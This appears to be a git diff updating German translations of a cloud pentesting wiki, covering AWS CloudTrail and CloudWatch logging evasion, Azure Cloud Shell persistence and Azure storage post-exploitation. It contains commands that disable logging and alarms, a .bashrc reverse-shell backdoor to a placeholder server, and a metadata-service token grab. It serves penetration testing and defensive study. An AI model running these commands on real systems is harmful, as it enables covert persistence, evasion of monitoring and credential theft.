@@ -48,7 +48,7 @@ Darüber hinaus werden **Digest-Dateien (zur Überprüfung der Dateiintegrität)
- Wenden Sie Berechtigungen auf den Ziel-S3-Bucket an, um den Zugriff über Konten für CloudTrail zu ermöglichen, und erlauben Sie jedem AWS-Konto, das Zugriff benötigt
- Erstellen Sie einen neuen Trail in den anderen AWS-Konten und wählen Sie aus, den im Schritt 1 erstellten Bucket zu verwenden
-Wenn Sie jedoch alle Protokolle im selben S3-Bucket speichern können, können Sie CloudTrail-Protokolle von mehreren Konten nicht in CloudWatch-Protokollen aggregieren, die zu einem einzelnen AWS-Konto gehören.
+Wenn Sie jedoch alle Protokolle im selben S3-Bucket speichern können, können Sie CloudTrail-Protokolle von mehreren Konten nicht in CloudWatch-Protokolle aggregieren, die zu einem einzelnen AWS-Konto gehören.
> [!CAUTION]
> Denken Sie daran, dass ein Konto **verschiedene Trails** von CloudTrail **aktiviert** haben kann, die dieselben (oder unterschiedliche) Protokolle in verschiedenen Buckets speichern.
@@ -83,23 +83,23 @@ Der CloudTrail-Ereignisverlauf ermöglicht es Ihnen, in einer Tabelle die aufgez
### Einblicke
-**CloudTrail Insights** analysiert automatisch **Schreibmanagementereignisse** von CloudTrail-Tracks und **benachrichtigt** Sie über **ungewöhnliche Aktivitäten**. Wenn es beispielsweise einen Anstieg von `TerminateInstance`-Ereignissen gibt, der von festgelegten Baselines abweicht, sehen Sie dies als Insight-Ereignis. Diese Ereignisse erleichtern **das Finden und Reagieren auf ungewöhnliche API-Aktivitäten** mehr denn je.
+**CloudTrail Insights** analysiert automatisch **Schreibmanagementereignisse** von CloudTrail-Tracks und **benachrichtigt** Sie über **ungewöhnliche Aktivitäten**. Wenn beispielsweise ein Anstieg der `TerminateInstance`-Ereignisse festgestellt wird, der von festgelegten Baselines abweicht, sehen Sie dies als Insight-Ereignis. Diese Ereignisse erleichtern **das Finden und Reagieren auf ungewöhnliche API-Aktivitäten** mehr denn je.
Die Einblicke werden im selben Bucket wie die CloudTrail-Protokolle gespeichert: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
### Sicherheit
-
-| Integrität der CloudTrail-Protokolldatei |
Überprüfen, ob Protokolle manipuliert wurden (modifiziert oder gelöscht)
Verwendet Digest-Dateien (erstellt Hash für jede Datei)
SHA-256-Hashing
SHA-256 mit RSA für digitale Signatur
privater Schlüssel im Besitz von Amazon
Benötigt 1 Stunde, um eine Digest-Datei zu erstellen (jede Stunde zur vollen Stunde)
Überprüfen, ob Protokolle manipuliert wurden (modifiziert oder gelöscht)
Verwendet Digest-Dateien (erstellt Hash für jede Datei)
SHA-256-Hashing
SHA-256 mit RSA für digitale Signatur
privater Schlüssel im Besitz von Amazon
Es dauert 1 Stunde, um eine Digest-Datei zu erstellen (jede Stunde zur vollen Stunde)
|
+| Unbefugten Zugriff stoppen |
Verwenden Sie IAM-Richtlinien und S3-Bucket-Richtlinien
Sicherheitsteam —> Administratorzugriff
Prüfer —> Nur-Lese-Zugriff
Verwenden Sie SSE-S3/SSE-KMS, um die Protokolle zu verschlüsseln
|
+| Verhindern, dass Protokolldateien gelöscht werden |
Zugriff auf das Löschen mit IAM- und Bucket-Richtlinien einschränken
S3 MFA-Löschen konfigurieren
Überprüfen mit der Protokolldatei-Validierung
|
## Zugriffsberater
-AWS Access Advisor stützt sich auf die letzten 400 Tage der AWS **CloudTrail-Protokolle, um seine Einblicke zu gewinnen**. CloudTrail erfasst eine Historie von AWS-API-Aufrufen und verwandten Ereignissen, die in einem AWS-Konto durchgeführt wurden. Access Advisor nutzt diese Daten, um **zu zeigen, wann Dienste zuletzt aufgerufen wurden**. Durch die Analyse der CloudTrail-Protokolle kann Access Advisor bestimmen, auf welche AWS-Dienste ein IAM-Benutzer oder eine Rolle zugegriffen hat und wann dieser Zugriff stattfand. Dies hilft AWS-Administratoren, informierte Entscheidungen über **die Verfeinerung von Berechtigungen** zu treffen, da sie Dienste identifizieren können, die über längere Zeiträume nicht aufgerufen wurden, und möglicherweise übermäßig breite Berechtigungen basierend auf realen Nutzungsmustern reduzieren können.
+AWS Access Advisor stützt sich auf die letzten 400 Tage der AWS **CloudTrail-Protokolle, um seine Einblicke zu gewinnen**. CloudTrail erfasst eine Historie der AWS-API-Aufrufe und verwandten Ereignisse, die in einem AWS-Konto durchgeführt wurden. Access Advisor nutzt diese Daten, um **zu zeigen, wann Dienste zuletzt aufgerufen wurden**. Durch die Analyse der CloudTrail-Protokolle kann Access Advisor bestimmen, auf welche AWS-Dienste ein IAM-Benutzer oder eine Rolle zugegriffen hat und wann dieser Zugriff stattfand. Dies hilft AWS-Administratoren, informierte Entscheidungen über **die Verfeinerung von Berechtigungen** zu treffen, da sie Dienste identifizieren können, die über längere Zeiträume nicht aufgerufen wurden, und möglicherweise zu weitreichende Berechtigungen basierend auf realen Nutzungsmustern reduzieren können.
> [!TIP]
-> Daher informiert der Zugriffsberater über **die unnötigen Berechtigungen, die Benutzern erteilt werden**, sodass der Administrator sie entfernen kann
+> Daher informiert Access Advisor über **die unnötigen Berechtigungen, die Benutzern erteilt werden**, damit der Administrator sie entfernen kann
@@ -124,7 +124,7 @@ aws cloudtrail get-query-results --event-data-store --query-id )
> [!CAUTION]
-> Beachten Sie, dass alle öffentlichen APIs, die entdeckt wurden, keine CloudTrail-Protokolle zu erstellen, jetzt behoben sind, sodass Sie möglicherweise Ihre eigenen finden müssen...
+> Beachten Sie, dass alle öffentlichen APIs, die nicht CloudTrail-Protokolle erstellen, jetzt behoben sind, sodass Sie möglicherweise Ihre eigenen finden müssen...
>
> Für weitere Informationen überprüfen Sie die [**originale Forschung**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).
### Zugriff auf Dritte Infrastruktur
-Bestimmte AWS-Dienste werden **einige Infrastrukturen** wie **Datenbanken** oder **Kubernetes**-Cluster (EKS) **erzeugen**. Ein Benutzer, der **direkt mit diesen Diensten spricht** (wie der Kubernetes-API), **wird die AWS-API nicht verwenden**, sodass CloudTrail diese Kommunikation nicht sehen kann.
+Bestimmte AWS-Dienste werden **einige Infrastrukturen** wie **Datenbanken** oder **Kubernetes**-Cluster (EKS) **erzeugen**. Ein Benutzer, der **direkt mit diesen Diensten** (wie der Kubernetes-API) **spricht, wird die AWS-API nicht verwenden**, sodass CloudTrail diese Kommunikation nicht sehen kann.
-Daher könnte ein Benutzer mit Zugriff auf EKS, der die URL der EKS-API entdeckt hat, lokal ein Token generieren und **direkt mit dem API-Dienst sprechen, ohne von CloudTrail erkannt zu werden**.
+Daher könnte ein Benutzer mit Zugriff auf EKS, der die URL der EKS-API entdeckt hat, ein Token lokal generieren und **direkt mit dem API-Dienst sprechen, ohne von CloudTrail erkannt zu werden**.
Weitere Informationen in:
@@ -228,7 +228,7 @@ aws cloudtrail stop-logging --name [trail-name]
```bash
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
```
-#### Protokollierung durch Ereignis-Selektoren deaktivieren
+#### Deaktivieren der Protokollierung durch Ereignis-Selektoren
```bash
# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region
@@ -236,7 +236,7 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors '
# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region
```
-Im ersten Beispiel wird ein einzelner Ereignis-Selektor als JSON-Array mit einem einzelnen Objekt bereitgestellt. Der `"ReadWriteType": "ReadOnly"` zeigt an, dass der **Ereignis-Selektor nur schreibgeschützte Ereignisse erfassen sollte** (CloudTrail-Insights **werden beispielsweise keine Schreibereignisse überprüfen**).
+Im ersten Beispiel wird ein einzelner Ereignis-Selektor als JSON-Array mit einem einzelnen Objekt bereitgestellt. Der `"ReadWriteType": "ReadOnly"` zeigt an, dass der **Ereignis-Selektor nur schreibgeschützte Ereignisse erfassen sollte** (CloudTrail-Insights **werden beispielsweise keine Schreib**ereignisse überprüfen).
Sie können den Ereignis-Selektor basierend auf Ihren spezifischen Anforderungen anpassen.
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
index 9b138dd08..2a5b3a4f7 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
@@ -27,13 +27,13 @@ Ein Namespace ist ein Container für CloudWatch-Metriken. Er hilft, Metriken zu
### Metriken
-Metriken sind über die Zeit gesammelte Datenpunkte, die die Leistung oder Nutzung von AWS-Ressourcen darstellen. Metriken können aus AWS-Diensten, benutzerdefinierten Anwendungen oder Drittanbieter-Integrationen gesammelt werden.
+Metriken sind Datenpunkte, die über die Zeit gesammelt werden und die Leistung oder Nutzung von AWS-Ressourcen darstellen. Metriken können aus AWS-Diensten, benutzerdefinierten Anwendungen oder Drittanbieter-Integrationen gesammelt werden.
- **Beispiel**: CPUUtilization, NetworkIn, DiskReadOps.
### Dimensionen
-Dimensionen sind Schlüssel-Wert-Paare, die Teil von Metriken sind. Sie helfen, eine Metrik eindeutig zu identifizieren und bieten zusätzlichen Kontext, wobei 30 die maximale Anzahl von Dimensionen ist, die mit einer Metrik verknüpft werden können. Dimensionen ermöglichen auch das Filtern und Aggregieren von Metriken basierend auf spezifischen Attributen.
+Dimensionen sind Schlüssel-Wert-Paare, die Teil von Metriken sind. Sie helfen, eine Metrik eindeutig zu identifizieren und bieten zusätzlichen Kontext, wobei 30 die maximale Anzahl von Dimensionen ist, die mit einer Metrik verknüpft werden können. Dimensionen ermöglichen auch das Filtern und Aggregieren von Metriken basierend auf bestimmten Attributen.
- **Beispiel**: Für EC2-Instanzen könnten Dimensionen InstanceId, InstanceType und AvailabilityZone umfassen.
@@ -45,7 +45,7 @@ Statistiken sind mathematische Berechnungen, die auf Metrikdaten durchgeführt w
### Einheiten
-Einheiten sind der Messungstyp, der mit einer Metrik verbunden ist. Einheiten helfen, Kontext und Bedeutung zu den Metrikdaten zu liefern. Zu den gängigen Einheiten gehören Prozent, Bytes, Sekunden, Anzahl.
+Einheiten sind der Messungstyp, der mit einer Metrik verbunden ist. Einheiten helfen, Kontext und Bedeutung zu den Metrikdaten zu liefern. Gängige Einheiten sind Prozent, Bytes, Sekunden, Anzahl.
- **Beispiel**: CPUUtilization könnte in Prozent gemessen werden, während NetworkIn in Bytes gemessen werden könnte.
@@ -82,8 +82,8 @@ Einheiten sind der Messungstyp, der mit einer Metrik verbunden ist. Einheiten he
**Hauptkomponenten**:
- **Schwellenwert**: Der Wert, bei dem der Alarm ausgelöst wird.
-- **Bewertungszeiträume**: Die Anzahl der Zeiträume, über die Daten bewertet werden.
-- **Datapoints to Alarm**: Die Anzahl der Zeiträume mit einem erreichten Schwellenwert, die erforderlich sind, um den Alarm auszulösen.
+- **Bewertungszeiträume**: Die Anzahl der Zeiträume, über die die Daten bewertet werden.
+- **Datenpunkte zum Alarm**: Die Anzahl der Zeiträume mit einem erreichten Schwellenwert, die erforderlich sind, um den Alarm auszulösen.
- **Aktionen**: Was passiert, wenn ein Alarmzustand ausgelöst wird (z. B. Benachrichtigung über SNS).
**Beispielanwendung**:
@@ -118,10 +118,10 @@ Einheiten sind der Messungstyp, der mit einer Metrik verbunden ist. Einheiten he
Ermöglicht das **Aggregieren und Überwachen von Protokollen aus Anwendungen** und Systemen von **AWS-Diensten** (einschließlich CloudTrail) und **von Apps/Systemen** (**CloudWatch-Agent** kann auf einem Host installiert werden). Protokolle können **unbegrenzt gespeichert** werden (abhängig von den Einstellungen der Protokollgruppe) und können exportiert werden.
**Elemente**:
-
-| **Protokollgruppe** | Eine **Sammlung von Protokollstreams**, die dieselben Aufbewahrungs-, Überwachungs- und Zugriffskontrolleinstellungen teilen |
+| Begriff | Definition |
| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| **Protokollstream** | Eine Sequenz von **Protokolldaten**, die die **gleiche Quelle** teilen |
+| **Protokollgruppe** | Eine **Sammlung von Protokollstreams**, die dieselben Aufbewahrungs-, Überwachungs- und Zugriffskontrolleinstellungen teilen |
+| **Protokollstream** | Eine Sequenz von **Protokollereignissen**, die die **gleiche Quelle** teilen |
| **Abonnementfilter** | Definieren ein **Filtermuster, das Ereignisse** in einer bestimmten Protokollgruppe übereinstimmt, senden sie an Kinesis Data Firehose-Stream, Kinesis-Stream oder eine Lambda-Funktion |
### CloudWatch-Überwachung & Ereignisse
@@ -131,13 +131,13 @@ In diesem Fall kann CloudWatch bereit sein, ein Ereignis zu senden und einige au
### Agenteninstallation
-Sie können Agenten in Ihren Maschinen/Containern installieren, um automatisch die Protokolle an CloudWatch zurückzusenden.
+Sie können Agenten in Ihren Maschinen/Containern installieren, um die Protokolle automatisch an CloudWatch zurückzusenden.
- **Erstellen** Sie eine **Rolle** und **fügen** Sie sie der **Instanz** mit Berechtigungen hinzu, die es CloudWatch ermöglichen, Daten von den Instanzen zu sammeln, zusätzlich zur Interaktion mit dem AWS Systems Manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM).
- **Laden** Sie den **Agenten** herunter und **installieren** Sie ihn auf der EC2-Instanz ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Sie können ihn von innerhalb der EC2 herunterladen oder automatisch mit AWS Systems Manager installieren, indem Sie das Paket AWS-ConfigureAWSPackage auswählen.
- **Konfigurieren** und **starten** Sie den CloudWatch-Agenten.
-Eine Protokollgruppe hat viele Streams. Ein Stream hat viele Ereignisse. Und innerhalb jedes Streams sind die Ereignisse garantiert in der richtigen Reihenfolge.
+Eine Protokollgruppe hat viele Streams. Ein Stream hat viele Ereignisse. Und innerhalb jedes Streams sind die Ereignisse in der Reihenfolge garantiert.
## Enumeration
```bash
@@ -224,10 +224,10 @@ aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name
aws cloudwatch delete-alarms --alarm-names
aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--no-actions-enabled | --actions-enabled [--alarm-actions ] [--insufficient-data-actions ] [--ok-actions ] ]
```
-Das folgende Beispiel zeigt, wie man einen Metrikalarm unwirksam macht:
+Das folgende Beispiel zeigt, wie man einen Metrik-Alarm unwirksam macht:
-- Dieser Metrikalarm überwacht die durchschnittliche CPU-Auslastung einer bestimmten EC2-Instanz, bewertet die Metrik alle 300 Sekunden und erfordert 6 Bewertungsperioden (insgesamt 30 Minuten). Wenn die durchschnittliche CPU-Auslastung in mindestens 4 dieser Perioden 60 % überschreitet, wird der Alarm ausgelöst und sendet eine Benachrichtigung an das angegebene SNS-Thema.
-- Durch Ändern des Schwellenwerts auf mehr als 99 %, Festlegen der Periode auf 10 Sekunden, der Bewertungsperioden auf 8640 (da 8640 Perioden von 10 Sekunden 1 Tag entsprechen) und der Datenpunkte auf Alarm ebenfalls auf 8640, wäre es erforderlich, dass die CPU-Auslastung über 99 % alle 10 Sekunden während des gesamten 24-Stunden-Zeitraums liegt, um einen Alarm auszulösen.
+- Dieser Metrik-Alarm überwacht die durchschnittliche CPU-Auslastung einer bestimmten EC2-Instanz, bewertet die Metrik alle 300 Sekunden und erfordert 6 Bewertungsperioden (insgesamt 30 Minuten). Wenn die durchschnittliche CPU-Auslastung in mindestens 4 dieser Perioden 60 % überschreitet, wird der Alarm ausgelöst und sendet eine Benachrichtigung an das angegebene SNS-Thema.
+- Durch die Änderung des Schwellenwerts auf mehr als 99 %, das Setzen der Periode auf 10 Sekunden, der Bewertungsperioden auf 8640 (da 8640 Perioden von 10 Sekunden 1 Tag entsprechen) und der Datapoints to Alarm auf ebenfalls 8640, wäre es erforderlich, dass die CPU-Auslastung über 99 % alle 10 Sekunden während des gesamten 24-Stunden-Zeitraums liegt, um einen Alarm auszulösen.
{{#tabs }}
{{#tab name="Original Metric Alarm" }}
@@ -254,7 +254,7 @@ Das folgende Beispiel zeigt, wie man einen Metrikalarm unwirksam macht:
```
{{#endtab }}
-{{#tab name="Modifizierte Metrik-Alarme" }}
+{{#tab name="Modified Metric Alarm" }}
```json
{
"Namespace": "AWS/EC2",
@@ -283,9 +283,9 @@ Das folgende Beispiel zeigt, wie man einen Metrikalarm unwirksam macht:
### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`**
-Durch das Löschen von Alarmaktionen könnte der Angreifer kritische Benachrichtigungen und automatisierte Reaktionen verhindern, die ausgelöst werden, wenn ein Alarmzustand erreicht wird, wie z.B. die Benachrichtigung von Administratoren oder das Auslösen von Auto-Scaling-Aktivitäten. Das unangemessene Aktivieren oder Wiederaktivieren von Alarmaktionen könnte ebenfalls zu unerwartetem Verhalten führen, entweder durch die Reaktivierung zuvor deaktivierter Aktionen oder durch die Änderung, welche Aktionen ausgelöst werden, was potenziell Verwirrung und Fehlleitungen bei der Vorfallreaktion verursachen könnte.
+Durch das Löschen von Alarmaktionen könnte der Angreifer kritische Warnungen und automatisierte Reaktionen verhindern, die ausgelöst werden, wenn ein Alarmzustand erreicht wird, wie z. B. die Benachrichtigung von Administratoren oder das Auslösen von Auto-Scaling-Aktivitäten. Das unangemessene Aktivieren oder Wiederaktivieren von Alarmaktionen könnte ebenfalls zu unerwartetem Verhalten führen, entweder durch die Reaktivierung zuvor deaktivierter Aktionen oder durch die Änderung, welche Aktionen ausgelöst werden, was potenziell zu Verwirrung und Fehlleitungen bei der Vorfallreaktion führen könnte.
-Darüber hinaus könnte ein Angreifer mit der Berechtigung Alarmzustände manipulieren, indem er falsche Alarme erstellt, um Administratoren abzulenken und zu verwirren, oder echte Alarme zum Schweigen bringt, um laufende bösartige Aktivitäten oder kritische Systemausfälle zu verbergen.
+Darüber hinaus könnte ein Angreifer mit der Berechtigung Alarmzustände manipulieren, indem er falsche Alarme erstellt, um Administratoren abzulenken und zu verwirren, oder echte Alarme zum Schweigen bringt, um laufende böswillige Aktivitäten oder kritische Systemausfälle zu verbergen.
- Wenn Sie **`SetAlarmState`** bei einem zusammengesetzten Alarm verwenden, ist nicht garantiert, dass der zusammengesetzte Alarm in seinen tatsächlichen Zustand zurückkehrt. Er kehrt nur dann in seinen tatsächlichen Zustand zurück, wenn einer seiner untergeordneten Alarme den Zustand ändert. Er wird auch neu bewertet, wenn Sie seine Konfiguration aktualisieren.
```bash
@@ -293,7 +293,7 @@ aws cloudwatch disable-alarm-actions --alarm-names
aws cloudwatch enable-alarm-actions --alarm-names
aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ]
```
-**Potenzielle Auswirkungen**: Fehlende Benachrichtigungen für kritische Ereignisse, potenzielle unentdeckte Probleme, falsche Alarme, Unterdrückung echter Alarme und möglicherweise verpasste Erkennungen echter Vorfälle.
+**Potenzielle Auswirkungen**: Fehlende Benachrichtigungen für kritische Ereignisse, potenzielle unentdeckte Probleme, falsche Alarme, Unterdrückung echter Alarme und möglicherweise verpasste Erkennungen realer Vorfälle.
### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`**
@@ -302,7 +302,7 @@ Ein Angreifer könnte die Fähigkeit zur Erkennung und Reaktion auf ungewöhnlic
aws cloudwatch delete-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat ]
aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ]
```
-Das folgende Beispiel zeigt, wie man einen Metrik-Anomalie-Detektor unwirksam macht. Dieser Metrik-Anomalie-Detektor überwacht die durchschnittliche CPU-Auslastung einer bestimmten EC2-Instanz, und allein durch das Hinzufügen des Parameters „ExcludedTimeRanges“ mit dem gewünschten Zeitbereich wäre es ausreichend, um sicherzustellen, dass der Anomalie-Detektor während dieses Zeitraums keine relevanten Daten analysiert oder warnt.
+Das folgende Beispiel zeigt, wie man einen Metrik-Anomalie-Detektor unwirksam macht. Dieser Metrik-Anomalie-Detektor überwacht die durchschnittliche CPU-Auslastung einer bestimmten EC2-Instanz, und allein durch das Hinzufügen des Parameters „ExcludedTimeRanges“ mit dem gewünschten Zeitbereich wäre es ausreichend, um sicherzustellen, dass der Anomalie-Detektor während dieses Zeitraums keine relevanten Daten analysiert oder Alarm schlägt.
{{#tabs }}
{{#tab name="Original Metric Anomaly Detector" }}
@@ -355,7 +355,7 @@ Das folgende Beispiel zeigt, wie man einen Metrik-Anomalie-Detektor unwirksam ma
### **`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`**
-Ein Angreifer könnte die Überwachungs- und Visualisierungsfähigkeiten einer Organisation gefährden, indem er deren Dashboards erstellt, ändert oder löscht. Diese Berechtigungen könnten genutzt werden, um kritische Sichtbarkeit in die Leistung und Gesundheit von Systemen zu entfernen, Dashboards so zu ändern, dass falsche Daten angezeigt werden, oder böswillige Aktivitäten zu verbergen.
+Ein Angreifer könnte die Überwachungs- und Visualisierungsfähigkeiten einer Organisation gefährden, indem er deren Dashboards erstellt, ändert oder löscht. Diese Berechtigungen könnten genutzt werden, um kritische Einblicke in die Leistung und Gesundheit von Systemen zu entfernen, Dashboards so zu ändern, dass falsche Daten angezeigt werden, oder böswillige Aktivitäten zu verbergen.
```bash
aws cloudwatch delete-dashboards --dashboard-names
aws cloudwatch put-dashboard --dashboard-name --dashboard-body
@@ -374,7 +374,7 @@ aws cloudwatch put-managed-insight-rules --managed-rules
### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`**
-Durch das Deaktivieren kritischer Einsichtsregeln könnte ein Angreifer die Organisation effektiv blind für wichtige Leistungs- und Sicherheitsmetriken machen. Umgekehrt könnte es durch das Aktivieren oder Konfigurieren irreführender Regeln möglich sein, falsche Daten zu erzeugen, Lärm zu erzeugen oder bösartige Aktivitäten zu verbergen.
+Durch das Deaktivieren kritischer Einsichtregeln könnte ein Angreifer die Organisation effektiv blind für wichtige Leistungs- und Sicherheitsmetriken machen. Umgekehrt könnte es durch das Aktivieren oder Konfigurieren irreführender Regeln möglich sein, falsche Daten zu erzeugen, Lärm zu erzeugen oder bösartige Aktivitäten zu verbergen.
```bash
aws cloudwatch disable-insight-rules --rule-names
aws cloudwatch enable-insight-rules --rule-names
@@ -385,17 +385,17 @@ aws cloudwatch enable-insight-rules --rule-names
Ein Angreifer mit den Berechtigungen **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** wäre in der Lage, Metrikdatenströme zu erstellen und zu löschen, was die Sicherheit, Überwachung und Datenintegrität gefährdet:
-- **Bösartige Streams erstellen**: Metrikstreams erstellen, um sensible Daten an unbefugte Ziele zu senden.
-- **Ressourcenmanipulation**: Die Erstellung neuer Metrikstreams mit übermäßigen Daten könnte viel Lärm erzeugen, was zu falschen Alarmen führt und wahre Probleme maskiert.
-- **Überwachungsstörung**: Durch das Löschen von Metrikstreams würden Angreifer den kontinuierlichen Fluss von Überwachungsdaten stören. Auf diese Weise wären ihre bösartigen Aktivitäten effektiv verborgen.
+- **Böswillige Streams erstellen**: Metrikströme erstellen, um sensible Daten an unbefugte Ziele zu senden.
+- **Ressourcenmanipulation**: Die Erstellung neuer Metrikströme mit übermäßigen Daten könnte viel Lärm erzeugen, was zu falschen Alarmen führt und wahre Probleme maskiert.
+- **Überwachungsstörung**: Durch das Löschen von Metrikströmen würden Angreifer den kontinuierlichen Fluss von Überwachungsdaten stören. Auf diese Weise wären ihre böswilligen Aktivitäten effektiv verborgen.
-Ähnlich könnte man mit der Berechtigung **`cloudwatch:PutMetricData`** Daten zu einem Metrikstream hinzufügen. Dies könnte zu einem DoS führen, aufgrund der Menge an unzulässigen Daten, die hinzugefügt werden, wodurch es völlig nutzlos wird.
+Ähnlich wäre es mit der Berechtigung **`cloudwatch:PutMetricData`** möglich, Daten zu einem Metrikstrom hinzuzufügen. Dies könnte zu einem DoS führen, aufgrund der Menge an unzulässigen Daten, die hinzugefügt werden, wodurch es völlig nutzlos wird.
```bash
aws cloudwatch delete-metric-stream --name
aws cloudwatch put-metric-stream --name [--include-filters ] [--exclude-filters ] --firehose-arn --role-arn --output-format
aws cloudwatch put-metric-data --namespace [--metric-data ] [--metric-name ] [--timestamp ] [--unit ] [--value ] [--dimensions ]
```
-Beispiel für das Hinzufügen von Daten, die 70 % der CPU-Auslastung über eine gegebene EC2-Instanz entsprechen:
+Beispiel für das Hinzufügen von Daten, die 70% der CPU-Auslastung über eine gegebene EC2-Instanz entsprechen:
```bash
aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg"
```
@@ -408,7 +408,7 @@ Ein Angreifer würde den Fluss der betroffenen Metrikdatenströme kontrollieren
aws cloudwatch stop-metric-streams --names
aws cloudwatch start-metric-streams --names
```
-**Potenzielle Auswirkungen**: Störung des Flusses von Überwachungsdaten, die die Erkennung von Anomalien und Vorfällen beeinträchtigt.
+**Potenzielle Auswirkungen**: Störung des Flusses von Überwachungsdaten, was die Erkennung von Anomalien und Vorfällen beeinträchtigt.
### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`**
diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
index d7bb2c2ab..9979be3df 100644
--- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
+++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
@@ -10,21 +10,13 @@ Azure Cloud Shell bietet Befehlszeilenzugriff zur Verwaltung von Azure-Ressource
* **Startskripte**: Dateien wie .bashrc werden automatisch zu Beginn jeder Sitzung ausgeführt, was eine persistente Ausführung beim Start der Cloud Shell ermöglicht.
Beispiel-Hintertür in .bashrc:
-
-{% code overflow="wrap" %}
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
```
-{% endcode %}
+Diese Hintertür kann Befehle sogar 5 Minuten nach dem Abschluss der Cloud-Shell durch den Benutzer ausführen.
-Dieser Backdoor kann Befehle sogar 5 Minuten nach dem Abschluss der Cloud-Shell durch den Benutzer ausführen.
-
-Zusätzlich Abfragen des Azure-Metadatenservices für Instanzdetails und Tokens:
-{% code overflow="wrap" %}
+Zusätzlich wird der Azure-Metadatendienst nach Instanzdetails und Tokens abgefragt:
```bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
```
-{% endcode %}
-
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
index 4f0ef7b2e..b78623ee5 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
@@ -10,9 +10,9 @@ Für weitere Informationen über Storage siehe:
../az-services/az-storage.md
{{#endref}}
-### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
+### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
-Ein Principal mit dieser Berechtigung kann die **Blobs** (Dateien) innerhalb eines Containers **auflisten** und die Dateien **herunterladen**, die möglicherweise **sensible Informationen** enthalten.
+Ein Principal mit dieser Berechtigung kann die Blobs (Dateien) innerhalb eines Containers **auflisten** und die Dateien **herunterladen**, die möglicherweise **sensible Informationen** enthalten.
```bash
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
az storage blob list \
@@ -24,9 +24,9 @@ az storage blob download \
--container-name \
-n file.txt --auth-mode login
```
-### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
+### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
-Ein Principal mit dieser Berechtigung wird in der Lage sein, **Dateien in Containern zu schreiben und zu überschreiben**, was ihm möglicherweise ermöglichen könnte, Schaden anzurichten oder sogar Privilegien zu eskalieren (z. B. einige im Blob gespeicherte Codes zu überschreiben):
+Ein Principal mit dieser Berechtigung wird in der Lage sein, **Dateien in Containern zu schreiben und zu überschreiben**, was ihm möglicherweise ermöglicht, Schaden anzurichten oder sogar Privilegien zu eskalieren (z. B. einige im Blob gespeicherte Codes überschreiben):
```bash
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
az storage blob upload \
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
index 6ca83df1d..96bcbd74b 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
@@ -5,27 +5,21 @@
## CosmosDB Post Exploitation
Für weitere Informationen zur SQL-Datenbank siehe:
-{% content-ref url="../az-services/az-cosmosDB.md" %}
-[az-cosmosDB.md](../az-services/az-cosmosDB.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-cosmosDB.md
+{{#endref}}
-### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write"
